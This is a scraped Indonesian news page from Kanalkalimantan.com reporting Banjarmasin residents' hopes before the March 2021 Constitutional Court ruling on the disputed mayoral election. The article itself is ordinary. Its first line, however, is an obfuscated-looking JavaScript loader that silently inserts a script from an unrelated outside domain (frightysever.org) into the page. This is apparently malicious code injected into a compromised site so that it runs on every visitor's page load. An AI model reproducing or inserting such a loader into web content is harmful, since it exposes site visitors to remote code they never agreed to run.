(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Mahkamah Konstitusi (MK) akan menggelar sidang pembacaan putusan sengketa Walikota-Wakil Walikota Banjarmasin, pada Senin (22/3/2021) malam ini. Masyarakat berharap putusan MK akan menjadi titik tolak hadirnya kepemimpinan yang peduli pada nasib rakyat kecil.
Perkumpulan Ojek Online (Ojol) di Kota Banjarmasin ikut mencermati putusan MK atas gugatan yang disampaikan pasangan nomor urut 4 Ananda-Mushaffa.
“Kita berharap apapun yang diputuskan MK, menjadi jalan hadirnya pemerintahan yang bertanggung jawab,” kata Mulyadi (51) salah satu Ojol di Banjarmasin yang ditemui Kanalkalimantan.com, Senin (22/3/2021) sore.
Menurutnya, masing-masing pihak yang bersengketa telah menyampaikan argumentasinya. Sebagai masyarakat, ia berharap pasca putusan MK semua para pemimpin bisa kembali akur.
“Baik pihak yang melapor, termasuk penyelenggara punya komitmen menjadikan Banjarmasin yang lebih baik,” ungkapnya.
Baca juga : Tak Fasilitasi Pasar Ramadhan, Pemko Banjarmasin Sarankan Pedagang Tak Bergerombol
Terlebih, kata pria asal Pelambuan, Banjarmasin Barat ini, kepemimpinan ke depan harus benar-benar dapat dirasakan kehadirannya bagi rakyat kecil.
“Saya pribadi menginginkan calon pemimpin yang adil dan mampu menciptakan kemakmuran bagi masyarakat, khususnya Ojol di Banjarmasin,” katanya.
Hal sama disampaikan Rehan (41), warga yang ditemui di depan gedung Pajak Jl.Lambung Mangkurat Banjarmasin. Ia mengatakan, apapun hasil dari putusan MK adalah keputusan yang baik.
“Gugatan dari paslon 04 yang masalah melanggar aturan dan yang dilaporkan terhadap KPU itu tetap apa yang diputuskan MK adalah yang baik,” terangnya.
“Siapa saja nanti yang diputuskan menang, harus turun langsung ke tengah masyarakat. Mendengar keluh kesah masyarakatnya secara langsung, lebihnya bisa selesaikan masalah dari dampak Covid-19 dan bencana banjir,” harapnya.
Diketahui, putusan Perselisihan Hasil Pemilihan Walikota Kota Banjarmasin Tahun 2021 dengan Nomor Perkara 21/PHP.KOT-XIX/2021 akan di bacakan pada Pukul 20.00 Wita. Paslon Ananda- Mushaffa menggugat penetapan perolehan suara yang dikeluarkan KPU, yaitu paslon Ibnu Sina-Arifin Noor. (Kanalkalimantan.com/putra)
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
This website uses cookies.